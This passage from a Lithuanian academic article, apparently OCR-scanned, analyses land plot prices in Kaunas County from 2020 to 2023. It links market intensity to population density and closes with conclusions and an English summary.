fiksuotos Kauno miesto (7327 Eur/a), BirStono (2503 Eur/a) ir Kauno rajono (1940 Eur/a)
savivaldybése (4 pav.). Maziausios gyvenamuyjy teritorijy Zemes sklypy pardavimo kainos
2023 m. fiksuotos Prieny rajono (384 Eur/a), Kaisiadoriy rajono (496 Eur/a) ir Jonavos
rajono (534 Eur/a) savivaldybése.
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4 pav. Gyvenamuyjy teritorijy zemés sklypy vidutinés kainos 2020—2023 m.

Palyginus 2020 m. gyvenamuyjy teritorijy Zemés sklypy pirkimo kainas su 2023 m.
laikotarpiu, visoje Kauno apskrityje stebimas stabilus 1-2 karty siekiantis augimas.

Nagrin¢jant sody zemés kainas 2020-2023 mety laikotarpiu (5 pav.) nebuvo
rasta parduodamy sklypy duomeny Raseiniy rajono (2022 m.) ir Bir§tono (2021-2022 m.)
savivaldybese.
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5 pav. Sody sklypy vidutinés kainos 2020-2023 m.

Atlikus analiz¢ pastebéta, kad Kauno apskrityje sody Zemeés pirkimo kaina nuo
2020 m. iki 2023 m. vidutiniSkai padidéjo 20 proc. Didziausios kainos fiksuojamos Kauno
miesto (3815 Eur/a), Kauno rajono (1911 Eur/a) ir Jonavos rajono (1660 Eur/a)
savivaldybése. Maziausios kainos buvo Raseiniy rajono ir Kédainiy rajono savivaldybése,
atitinkamai 292 ir 789 Eur/a. Taciau 2023 m. fiksuotas labai nezymus kainy kritimas
Kauno rajono, Jonavos rajono, Kédainiy rajono ir Raseiniy rajono savivaldybése.
Vidutiné sody zemés pirkimo kaina Kauno apskrityje 2023 m., palyginti su 2022 m.,
sumazgjo apie 14 proc.

ISsamiai iSanalizavus Kauno apskrities zemés sklypy zemés rinka 2020-2023 m.
galima teigti, kad Zemés sklypy rinka intensyvesné vietovése, kur didesnis gyventojy
tankumas (Kauno miesto, Kauno rajono ir Kédainiy rajono savivaldybése), skaic¢iuojant
ploto vienetui, todél yra poreikis jsigyti arba pasistatyti gyvenamuosius namus.

Teritorija nagrinéjant pagal priklausomybes tarp gyventojy tankumo ir zemés
sklypy zemés rinkos (2020-2023 m. vidurkis), nustatytas determinacijos koeficientas —
R2= 0,97. R? interpretacija padeda geriau suvokti, ar duomenys yra vienas nuo Kito
priklausomi (6 pav.).
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6 pav. Gyventojy tankio jtaka (rodiklis Y, gyv./ha) zemés sklypy rinkai
(rodiklis X, Eur/a) 2020—-2023 m. laikotarpiu

Taip pat gauti ANOVA rezultatai parodé statistiSkai reik§mingus skirtumus
tarp gyventojy tankumo ir Zemés sklypy rinkos (p = 0,025 < 0,05). Remiantis analizés
metu nustatytais désningumais, galima teigti, kad poreikis kurti gyvenamasias sodybas
daugiausia priklauso nuo tos vietovés gyventojy tankio. Todél tai labiausiai ir jtakoja
zemes sklypy kainas.

ISvados

1. Nustatyta, kad zemés sklypy kainos Kauno apskrityje didéjo nuo 2020 m.
iki 2022 m. ir §is kilimas buvo siejamas su besiformuojanéiu nekilnojamojo turto kainy
,.ourbulu®. 2023 m. pastebimas kainy sumazéjimas parduodamy zemés tikio paskirties,
sody sklypy ir misky tkio Zemés sklypy. Taciau gyvenamuyjy teritorijy zemés sklypy
rinka stabiliai kasmet 1-2 kartus augo.

2. Sukiirus zemés rinkos Kauno apskrityje zemélapius nustatyta, kad
brangiausiai parduodami zemés sklypai yra Kauno miesto, Kauno rajono ir BirStono
savivaldybése. Pigiausiai parduodami zemés sklypai — Raseiniy rajono ir Prieny rajono
savivaldybese.

3. Gyvenamyjy teritorijy Zemés sklypy ir sody zemés sklypy rinkos
intensyvumui daugiausia jtakos turi gyventojy tankis, tai patvirtina determinacijos
koeficientas R?= 0,97 ir dispersijos analizé (ANOVA), kai p<0,05.
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Summary

The recent rapid development of the land market and growing interest of investors stimulate a
greater need for a more detailed analysis of the current market situation. Land is the most valuable
real estate, and even though the supply of fertile land is constantly decreasing and the demand is
increasing, its value has not tended to decrease: although the number of land sale transactions has
decreased, the purchase and rental prices have continued to grow steadily. The purpose of this
research is to analyse the land plot market in Kaunas County for the period between 2020 and
2023. This article examines the market indicators of agricultural land, as well as garden,
residential and forestry land areas. It is established that the prices of land plots in Kaunas County
were increasing from 2020 till 2022, and in 2023 there was a noticeable decrease in the prices of
agricultural, garden and forestry plots of land for sale. The market intensity of residential and
garden land plots is mainly influenced by population density, which is confirmed by the
coefficient of determination R?= 0.97 and analysis of variance when p<0.05.
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